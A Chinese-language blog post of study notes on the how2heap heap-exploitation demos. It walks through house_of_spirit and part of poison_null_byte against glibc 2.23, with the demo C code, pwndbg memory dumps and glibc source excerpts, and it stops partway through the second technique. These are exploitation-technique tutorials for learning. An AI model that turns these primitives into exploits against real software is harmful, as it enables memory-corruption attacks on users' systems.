How2Heap笔记(三)

  • Author:ZERO-A-ONE
  • Date:2021-01-22

一、house_of_spirit

house-of-spirit 是一种 fastbins 攻击方法,通过构造 fake chunk,然后将其 free 掉,就可以在下一次 malloc 时返回 fake chunk 的地址,即任意我们可控的区域。house-of-spirit 是一种通过堆的 fast bin 机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制 EIP 来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被 free 的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个 fast bin 块的元数据,接着在 free 操作时,这个栈上的堆块被放到 fast bin 中,下一次 malloc 对应的大小时,由于 fast bin 的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个 fake chunk。所以 fake chunk 的伪造是关键

我们先来看一下源代码:

#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

	fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
	malloc(1);

	fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
	unsigned long long *a;
	// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
	unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

	fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

	fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
	fake_chunks[1] = 0x40; // this is the size

	fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
        // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
	fake_chunks[9] = 0x1234; // nextsize

	fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
	fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
	a = &fake_chunks[2];

	fprintf(stderr, "Freeing the overwritten pointer.\n");
	free(a);

	fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
	fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

这里首先需要说明一个语法

unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

GNU C 的一大特色就是__attribute__ 机制。attribute 可以设置:

  • 函数属性(Function Attribute )
  • 变量属性(Variable Attribute )
  • 类型属性(Type Attribute )

attribute 书写特征是:attribute 前后都有两个下划线,并切后面会紧跟一对原括弧,括弧里面是相应的__attribute__ 参数

attribute 语法格式为:__attribute__ ((attribute-list))

关键字__attribute__ 也可以对结构体(struct )或共用体(union )进行属性设置。大致有六个参数值可以被设定,即:

  • aligned
  • packed
  • transparent_union
  • unused,
  • deprecated
  • may_alias 。

这里我们着重介绍aligned参数

该声明将强制编译器确保(尽它所能)变量在分配空间时采用的对齐格式(以字节为单位),所谓对齐是存储为值的起始地址,如:

int a attribute((aligned(64))) = 10;

我们首先申请了一个fastbin大小的chunk

In file: /home/syc/Downloads/how2heap-master/glibc_2.23/house_of_spirit.c
    6 	fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
    7 
    8 	fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
    9 	malloc(1);
   1011 	fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
   12 	unsigned long long *a;
   13 	// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
   14 	unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
   15 
   16 	fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x603020
Size: 0x20fe1
	unsigned long long *a;
	// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
	unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

然后我们在栈上申请了一个临时变量指针*a

pwndbg> p/x &a
$1 = 0x7fffffffddc8
pwndbg> stack 10
00:0000│ rsp  0x7fffffffddc0 ◂— 0x1
01:00080x7fffffffddc8 —▸ 0x7fffffffdf28 —▸ 0x7fffffffe2cc ◂— 'XDG_VTNR=7'
02:00100x7fffffffddd0 ◂— 0x1
03:00180x7fffffffddd8 —▸ 0x7fffffffde50 ◂— 0x1f7b996c8
04:00200x7fffffffdde0 —▸ 0x7ffff7ffe168 ◂— 0x0
05:00280x7fffffffdde8 ◂— 0x0
06:00300x7fffffffddf0 ◂— 0x1
07:00380x7fffffffddf8 —▸ 0x4008ed (__libc_csu_init+77) ◂— add    rbx, 1
08:00400x7fffffffde00 ◂— 0x0

然后申请了在栈上伪造的chunk,大小为10*8 byte = 80 byte = 640 bit,然后要对16字节对齐,因为chunk在64位环境下也要求16字节对齐

pwndbg> n
This region (memory of length: 80) contains two chunks. The first starts at 0x7fffffffddd8 and the second at 0x7fffffffde18.
pwndbg> p/x &fake_chunks
$2 = 0x7fffffffddd0
pwndbg> x/10gx &fake_chunks
0x7fffffffddd0:	0x0000000000000001	0x00007fffffffde50
0x7fffffffdde0:	0x00007ffff7ffe168	0x0000000000000000
0x7fffffffddf0:	0x0000000000000001	0x00000000004008ed
0x7fffffffde00:	0x0000000000000000	0x0000000000000000
0x7fffffffde10:	0x00000000004008a0	0x00000000004005b0

然后在 fake chunk 区域伪造出两个 chunk

fake_chunks[1] = 0x40; // this is the size
fake_chunks[9] = 0x1234; // nextsize

我们可以查看一下修改后的chunk数据

pwndbg> x/14gx &fake_chunks
0x7fffffffddd0:	0x0000000000000001	0x0000000000000040
0x7fffffffdde0:	0x00007ffff7ffe168	0x0000000000000000
0x7fffffffddf0:	0x0000000000000001	0x00000000004008ed
0x7fffffffde00:	0x0000000000000000	0x0000000000000000
0x7fffffffde10:	0x00000000004008a0	0x0000000000001234
0x7fffffffde20:	0x00007fffffffdf10	0x671cbe80d38bb200
0x7fffffffde30:	0x00000000004008a0	0x00007ffff7a2d840

其实这里是伪造了两个chunk

  • chunk0:0x7fffffffddd0

    • prev_size = 0x1
    • size = 0x40
    • fd = 0x00007ffff7ffe168
    • bk = 0x0000000000000000
  • chunk1:0x7fffffffde10

    • prev_size = 0x4008a0
    • size = 0x1234
    • fd = 0x00007fffffffdf10
    • bk = 0x671cbe80d38bb200

所以这里将chunk[1]设置为0x40,是因为两个fake chunk刚好距离0x40(0x7fffffffde10-0x7fffffffddd0)

伪造 chunk 时需要绕过一些检查,首先是标志位,PREV_INUSE 位并不影响 free 的过程,但 IS_MMAPPED 位和 NON_MAIN_ARENA 位都要为零。其次,在 64 位系统中 fast chunk 的大小要在 32~128 字节之间。最后,是 next chunk 的大小,必须大于 2*SIZE_SZ(即大于16),小于 av->system_mem(即小于128kb),才能绕过对 next chunk 大小的检查。

libc-2.23 中这些检查代码如下:

void
__libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */

  [...]
  p = mem2chunk (mem);

  if (chunk_is_mmapped (p))                       /* release mmapped memory. */
    {
      [...]
      munmap_chunk (p);
      return;
    }

  ar_ptr = arena_for_chunk (p);     // 获得 chunk 所属 arena 的地址
  _int_free (ar_ptr, p, 0);         // 当 IS_MMAPPED 为零时调用
}

mem 就是我们所控制的传递给 free 函数的地址。malloc返回的其实是chunk的mem地址,所以要访问真正的chunk地址,需要地址转换,其中下面两个函数用于在 chunk 指针和 malloc 指针之间做转换:

/* conversion from malloc headers to user pointers, and back */

#define chunk2mem(p)   ((void*)((char*)(p) + 2*SIZE_SZ))
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))

NON_MAIN_ARENA 为零时返回 main arena:

/* find the heap and corresponding arena for a given ptr */

#define heap_for_ptr(ptr) \
  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
#define arena_for_chunk(ptr) \
  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)

这样,程序就顺利地进入了 _int_free 函数:

static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  INTERNAL_SIZE_T size;        /* its size */
  mfastbinptr *fb;             /* associated fastbin */

  [...]
  size = chunksize (p);

  [...]
  /*
    If eligible, place chunk on a fastbin so it can be found
    and used quickly in malloc.
  */

  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
      /*
    If TRIM_FASTBINS set, don't place chunks
    bordering top into fastbins
      */
      && (chunk_at_offset(p, size) != av->top)
#endif
      ) {

    if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
    || __builtin_expect (chunksize (chunk_at_offset (p, size))
                 >= av->system_mem, 0))
      {
        [...]
        errstr = "free(): invalid next size (fast)";
        goto errout;
      }

    [...]
    set_fastchunks(av);
    unsigned int idx = fastbin_index(size);
    fb = &fastbin (av, idx);

    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
    mchunkptr old = *fb, old2;
    [...]
    do
      {
    [...]
    p->fd = old2 = old;
      }
    while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);

其中下面的宏函数用于获得 next chunk:

/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))

这里我们将a修改为指向 (fake chunk 0 + 0x10) 的位置,即是chunk结构的mem地址位置

a = &fake_chunks[2];
pwndbg> p/x a
$5 = 0x7fffffffdde0
pwndbg> p/x &fake_chunks[2]
$6 = 0x7fffffffdde0

这样子其实就是a就是相当于我们通过malloc申请我们的fake_chunk0的时候,malloc会返回给我们fake_chunk0->mem的地址,然后将其传递给 free 函数,这时程序就会误以为这是一块真的 chunk,然后将其释放并加入到 fastbin 中

也就是:

free(a);

我们可以发现我们伪造的fake_chunk0(0x7fffffffddd0)已经被放入fastbin里面了

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x603020
Size: 0x20fe1

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fffffffddd0 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> p/x &fake_chunks[0]
$7 = 0x7fffffffddd0
pwndbg> x/10gx &fake_chunks[0]
0x7fffffffddd0:	0x0000000000000001	0x0000000000000040
0x7fffffffdde0:	0x0000000000000000	0x0000000000000000
0x7fffffffddf0:	0x0000000000000001	0x00000000004008ed
0x7fffffffde00:	0x0000000000000000	0x0000000000000000
0x7fffffffde10:	0x00000000004008a0	0x0000000000001234

然后我们在申请一个大小和我们伪造的chunk一样的,因为64位下chunk要和0x10对齐,且要加上chunk头部大小(0x10字节),故malloc(30)实际上申请了一个0x40字节大小的chunk

pwndbg> n
malloc(0x30): 0x7fffffffdde0

所以 house-of-spirit 的主要目的是,当我们伪造的 fake chunk 内部存在不可控区域时,运用这一技术可以将这片区域变成可控的。上面为了方便观察,在 fake chunk 里填充一些字母,但在现实中这些位置很可能是不可控的,而 house-of-spirit 也正是以此为目的而出现的

该技术的缺点也是需要对栈地址进行泄漏,否则无法正确覆盖需要释放的堆指针,且在构造数据时,需要满足对齐的要求等

二、poison_null_byte

2.1 Glibc 2.23

该技术适用的场景需要某个 malloc 的内存区域存在一个单字节溢出漏洞。通过溢出下一个 chunk 的 size 字段,攻击者能够在堆中创造出重叠的内存块,从而达到改写其他数据的目的。再结合其他的利用方式,同样能够获得程序的控制权。

对于单字节溢出的利用有下面几种:

  • 扩展被释放块:当溢出块的下一块为被释放块且处于 unsorted bin 中,则通过溢出一个字节来将其大小扩大,下次取得次块时就意味着其后的块将被覆盖而造成进一步的溢出
  0x100   0x100    0x80
|-------|-------|-------|
|   A   |   B   |   C   |   初始状态
|-------|-------|-------|
|   A   |   B   |   C   |   释放 B
|-------|-------|-------|
|   A   |   B   |   C   |   溢出 B 的 size 为 0x180
|-------|-------|-------|
|   A   |   B   |   C   |   malloc(0x180-8)
|-------|-------|-------|   C 块被覆盖
        |<--实际得到的块->|
  • 扩展已分配块:当溢出块的下一块为使用中的块,则需要合理控制溢出的字节,使其被释放时的合并操作能够顺利进行,例如直接加上下一块的大小使其完全被覆盖。下一次分配对应大小时,即可取得已经被扩大的块,并造成进一步溢出
  0x100   0x100    0x80
|-------|-------|-------|
|   A   |   B   |   C   |   初始状态
|-------|-------|-------|
|   A   |   B   |   C   |   溢出 B 的 size 为 0x180
|-------|-------|-------|
|   A   |   B   |   C   |   释放 B
|-------|-------|-------|
|   A   |   B   |   C   |   malloc(0x180-8)
|-------|-------|-------|   C 块被覆盖
        |<--实际得到的块->|
  • 收缩被释放块:此情况针对溢出的字节只能为 0 的时候,也就是本节所说的 poison-null-byte,此时将下一个被释放的块大小缩小,如此一来在之后分裂此块时将无法正确更新后一块的 prev_size 字段,导致释放时出现重叠的堆块
  0x100     0x210     0x80
|-------|---------------|-------|
|   A   |       B       |   C   |   初始状态
|-------|---------------|-------|
|   A   |       B       |   C   |   释放 B
|-------|---------------|-------|
|   A   |       B       |   C   |   溢出 B 的 size 为 0x200
|-------|---------------|-------|   之后的 malloc 操作没有更新 C 的 prev_size
         0x100  0x80
|-------|------|-----|--|-------|
|   A   |  B1  | B2  |  |   C   |   malloc(0x180-8), malloc(0x80-8)
|-------|------|-----|--|-------|
|   A   |  B1  | B2  |  |   C   |   释放 B1
|-------|------|-----|--|-------|
|   A   |  B1  | B2  |  |   C   |   释放 C,C 将与 B1 合并
|-------|------|-----|--|-------|  
|   A   |  B1  | B2  |  |   C   |   malloc(0x180-8)
|-------|------|-----|--|-------|   B2 将被覆盖
        |<实际得到的块>|
  • house of einherjar:也是溢出字节只能为 0 的情况,当它是更新溢出块下一块的 prev_size 字段,使其在被释放时能够找到之前一个合法的被释放块并与其合并,造成堆块重叠
  0x100   0x100   0x101
|-------|-------|-------|
|   A   |   B   |   C   |   初始状态
|-------|-------|-------|
|   A   |   B   |   C   |   释放 A
|-------|-------|-------|
|   A   |   B   |   C   |   溢出 B,覆盖 C 块的 size 为 0x200,并使其 prev_size 为 0x200
|-------|-------|-------|
|   A   |   B   |   C   |   释放 C
|-------|-------|-------|
|   A   |   B   |   C   |   C 将与 A 合并
|-------|-------|-------|   B 块被重叠
|<-----实际得到的块------>|

首先分配三个 chunk,第一个 chunk 类型无所谓,但后两个不能是 fast chunk,因为 fast chunk 在释放后不会被合并。这里 chunk a 用于制造单字节溢出,去覆盖 chunk b 的第一个字节,chunk c 的作用是帮助伪造 fake chunk

我们先来看一下源代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>


int main()
{
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf("Welcome to poison null byte 2.0!\n");
	printf("Tested in Ubuntu 16.04 64bit.\n");
	printf("This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
	printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

	uint8_t* a;
	uint8_t* b;
	uint8_t* c;
	uint8_t* b1;
	uint8_t* b2;
	uint8_t* d;
	void *barrier;

	printf("We allocate 0x100 bytes for 'a'.\n");
	a = (uint8_t*) malloc(0x100);
	printf("a: %p\n", a);
	int real_a_size = malloc_usable_size(a);
	printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
		"(it may be more than 0x100 because of rounding): %#x\n", real_a_size);

	/* chunk size attribute cannot have a least significant byte with a value of 0x00.
	 * the least significant byte of this will be 0x10, because the size of the chunk includes
	 * the amount requested plus some amount required for the metadata. */
	b = (uint8_t*) malloc(0x200);

	printf("b: %p\n", b);

	c = (uint8_t*) malloc(0x100);
	printf("c: %p\n", c);

	barrier =  malloc(0x100);
	printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
		"The barrier is not strictly necessary, but makes things less confusing\n", barrier);

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);

	// added fix for size==prev_size(next_chunk) check in newer versions of glibc
	// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
	// this added check requires we are allowed to have null pointers in b (not just a c string)
	//*(size_t*)(b+0x1f0) = 0x200;
	printf("In newer versions of glibc we will need to have our updated size inside b itself to pass "
		"the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
	// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
	// which is the value of b.size after its first byte has been overwritten with a NULL byte
	*(size_t*)(b+0x1f0) = 0x200;

	// this technique works by overwriting the size metadata of a free chunk
	free(b);
	
	printf("b.size: %#lx\n", *b_size_ptr);
	printf("b.size is: (0x200 + 0x10) | prev_in_use\n");
	printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
	a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
	printf("b.size: %#lx\n", *b_size_ptr);

	uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
	printf("c.prev_size is %#lx\n",*c_prev_size_ptr);

	// This malloc will result in a call to unlink on the chunk where b was.
	// The added check (commit id: 17f487b), if not properly handled as we did before,
	// will detect the heap corruption now.
	// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
	// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
	// next_chunk(P) == b-0x10+0x200 == b+0x1f0
	// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
	printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
		*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
	b1 = malloc(0x100);

	printf("b1: %p\n",b1);
	printf("Now we malloc 'b1'. It will be placed where 'b' was. "
		"At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
	printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
		"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
	printf("We malloc 'b2', our 'victim' chunk.\n");
	// Typically b2 (the victim) will be a structure with valuable pointers that we want to control

	b2 = malloc(0x80);
	printf("b2: %p\n",b2);

	memset(b2,'B',0x80);
	printf("Current b2 content:\n%s\n",b2);

	printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

	free(b1);
	free(c);
	
	printf("Finally, we allocate 'd', overlapping 'b2'.\n");
	d = malloc(0x300);
	printf("d: %p\n",d);
	
	printf("Now 'd' and 'b2' overlap.\n");
	memset(d,'D',0x300);

	printf("New b2 content:\n%s\n",b2);

	printf("Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
		"for the clear explanation of this technique.\n");

	assert(strstr(b2, "DDDDDDDDDDDD"));
}

首先我们申请了chunkA用于单字节溢出:

pwndbg> 
a: 0x603010
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x111

Top chunk | PREV_INUSE
Addr: 0x603110
Size: 0x20ef1

首先是溢出,那么就需要知道一个堆块实际可用的内存大小(因为空间复用,可能会比分配时要大一点),用于获得该大小的函数 malloc_usable_size 如下:

/*
   ------------------------- malloc_usable_size -------------------------
 */
static size_t
musable (void *mem)
{
  mchunkptr p;
  if (mem != 0)
    {
      p = mem2chunk (mem);

      [...]
      if (chunk_is_mmapped (p))
        return chunksize (p) - 2 * SIZE_SZ;
      else if (inuse (p))
        return chunksize (p) - SIZE_SZ;
    }
  return 0;
}
/* check for mmap()'ed chunk */
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
/* extract p's inuse bit */
#define inuse(p)                                  \
  ((((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))->size) & PREV_INUSE)
/* Get size, ignoring use bits */
#define chunksize(p)         ((p)->size & ~(SIZE_BITS))

所以:

pwndbg> n
Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x100 because of rounding): 0x108

需要注意的是程序是通过 next chunk 的 PREV_INUSE 标志来判断某 chunk 是否被使用的

为什么是0x108呢,是因为所以chunk的头部需要占用0x10字节,但是chunk可以使用下一个chunk头部的prev_size位,就节省了0x8字节,所以最后是占用了0x108字节

然后我们连续申请了chunkB和chunkC

pwndbg> n
b: 0x603120
pwndbg> 
c: 0x603330
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x603110
Size: 0x211

Allocated chunk | PREV_INUSE
Addr: 0x603320
Size: 0x111

Top chunk | PREV_INUSE
Addr: 0x603430
Size: 0x20bd1

barrier 这个chunk是用来防止free(c)的时候被放入 top-chunk,因为chunkC是距离Top-chunk最近的chunk,根据glibc的规则chunkC会和Top-chunk合并成为新的Top-chunk,所以需要在chunkC和Top-chunk中间放入一个barrier-chunk用来隔离。以及 b和c 的 chunk 大小不能为 fastbins chunk size。因为 fastbins chunk 在被释放后不会合并

pwndbg> n
We allocate a barrier at 0x603440, so that c is not consolidated with the top-chunk when freed.
The barrier is not strictly necessary, but makes things less confusing
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x603110
Size: 0x211

Allocated chunk | PREV_INUSE
Addr: 0x603320
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x603430
Size: 0x111

Top chunk | PREV_INUSE
Addr: 0x603540
Size: 0x20ac1

接下来我们需要获取一个指向chunkB的size位的指针:

uint64_t* b_size_ptr = (uint64_t*)(b - 8);

我们先看一下修改前chunkC附近的内存布局:

pwndbg> x/20gx c-0x30
0x603300:	0x0000000000000000	0x0000000000000000
0x603310:	0x0000000000000000	0x0000000000000000
0x603320:	0x0000000000000000	0x0000000000000111
0x603330:	0x0000000000000000	0x0000000000000000
0x603340:	0x0000000000000000	0x0000000000000000
0x603350:	0x0000000000000000	0x0000000000000000
0x603360:	0x0000000000000000	0x0000000000000000
0x603370:	0x0000000000000000	0x0000000000000000
0x603380:	0x0000000000000000	0x0000000000000000
0x603390:	0x0000000000000000	0x0000000000000000

为了在修改 chunk b 的 size 字段后,依然能通过 unlink 的检查,我们需要伪造一个 c.prev_size 字段,字段的大小是很好计算的,即

(0x211 & 0xff00) == 0x200

这里我们先计算得到c.prev_size距离b指针的距离:

  • *b = 0x603120
  • *c = 0x603330
  • c.prev_size = 0x603330 - 0x10 = 0x603320

然后把 chunk b 释放掉,chunk b 随后被放到 unsorted bin 中,大小是 0x200:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x111

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x603110
Size: 0x211
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

Allocated chunk
Addr: 0x603320
Size: 0x110

Allocated chunk | PREV_INUSE
Addr: 0x603430
Size: 0x111

Top chunk | PREV_INUSE
Addr: 0x603540
Size: 0x20ac1

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603110 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603110
smallbins
empty
largebins
empty

此时的堆布局如下:

pwndbg> x/20gx c-0x30
0x603300:	0x0000000000000000	0x0000000000000000
0x603310:	0x0000000000000200	0x0000000000000000
0x603320:	0x0000000000000210	0x0000000000000110
0x603330:	0x0000000000000000	0x0000000000000000
0x603340:	0x0000000000000000	0x0000000000000000
0x603350:	0x0000000000000000	0x0000000000000000
0x603360:	0x0000000000000000	0x0000000000000000
0x603370:	0x0000000000000000	0x0000000000000000
0x603380:	0x0000000000000000	0x0000000000000000
0x603390:	0x0000000000000000	0x0000000000000000
pwndbg> x/20gx b-0x10
0x603110:	0x0000000000000000	0x0000000000000211
0x603120:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x603130:	0x0000000000000000	0x0000000000000000
0x603140:	0x0000000000000000	0x0000000000000000
0x603150:	0x0000000000000000	0x0000000000000000
0x603160:	0x0000000000000000	0x0000000000000000
0x603170:	0x0000000000000000	0x0000000000000000
0x603180:	0x0000000000000000	0x0000000000000000
0x603190:	0x0000000000000000	0x0000000000000000
0x6031a0:	0x0000000000000000	0x0000000000000000
pwndbg> n
b.size: 0x211
pwndbg> 
b.size is: (0x200 + 0x10) | prev_in_use
pwndbg> 
We overflow 'a' with a single null byte into the metadata of 'b'

最关键的一步,通过溢出漏洞覆写 chunk b 的数据:

a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"

然后我们需要查看一下chunkc.prev_size 字段

pwndbg> n
c.prev_size is 0x210

我们查看一下b的内存布局:

pwndbg> n
b.size: 0x200
pwndbg> x/20gx b-0x10
0x603110:	0x0000000000000000	0x0000000000000200
0x603120:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x603130:	0x0000000000000000	0x0000000000000000
0x603140:	0x0000000000000000	0x0000000000000000
0x603150:	0x0000000000000000	0x0000000000000000
0x603160:	0x0000000000000000	0x0000000000000000
0x603170:	0x0000000000000000	0x0000000000000000
0x603180:	0x0000000000000000	0x0000000000000000
0x603190:	0x0000000000000000	0x0000000000000000
0x6031a0:	0x0000000000000000	0x0000000000000000

这时,根据我们上一篇文字中讲到的计算方法:

  • chunksize(P) == *((size_t*)(b-0x8)) & (~ 0x7) == 0x200

    • pwndbg> p/x *((size_t*)(b-0x8))& (~ 0x7)
      $4 = 0x200
      
  • prev_size (next_chunk(P)) == *(size_t*)(b-0x10 + 0x200) == 0x200

    • pwndbg> p/x *(size_t*)(b-0x10 + 0x200)
      $5 = 0x200
      

可以成功绕过检查。另外 unsorted bin 中的 chunk 大小也变成了 0x200

pwndbg> 
We will pass the check since chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))

接下来随意分配两个 chunk,malloc 会从 unsorted bin (也就是我们之前free掉的B)中划出合适大小的内存返回给用户:

pwndbg> n
b1: 0x603120
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x603110
Size: 0x111

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x603220
Size: 0xf1
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

Allocated chunk
Addr: 0x603310
Size: 0x00

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603220 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603220 /* ' 2`' */
smallbins
empty
largebins
empty

可以看到原来的chunkB被划分走了0x100个字节分配给新的chunkB1,chunkB1的地址就是原来chunkB的地址:

pwndbg> n
b1: 0x603120
pwndbg> n
b: 0x603120

我们注意到几个地方:

  • chunk b1 的位置就是 chunk b 的位置
  • 这个时候 b1 和 c 之间有个 chunk b,这个时候 chunk c 的 prev_size 本应该变为 0xf0

这里有个很有趣的东西,分配堆块后,发生变化的是 fake c.prev_size,而不是 c.prev_size。所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x210 的 free chunk。但其实这片内存已经被分配给了 chunk b1

pwndbg> x/10gx c-0x20
0x603310:	0x00000000000000f0	0x0000000000000000	<-fake chunk
0x603320:	0x0000000000000210	0x0000000000000110	<-chunkC
0x603330:	0x0000000000000000	0x0000000000000000
0x603340:	0x0000000000000000	0x0000000000000000
0x603350:	0x0000000000000000	0x0000000000000000
pwndbg> n
Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: 0x210
pwndbg> n
Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: f0

然后我们在 create 一个 chunk b2,这个时候unsortedbin(chunB)又被切割了分配给chunkB2

pwndbg> n
b2: 0x603230
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x603110
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x603220
Size: 0x91

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x6032b0
Size: 0x61
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78

Allocated chunk
Addr: 0x603310
Size: 0x00

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x6032b0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x6032b0
smallbins
empty
largebins
empty

然后就是,我们先后 free chunkB1和chunkC

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x111

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x603110
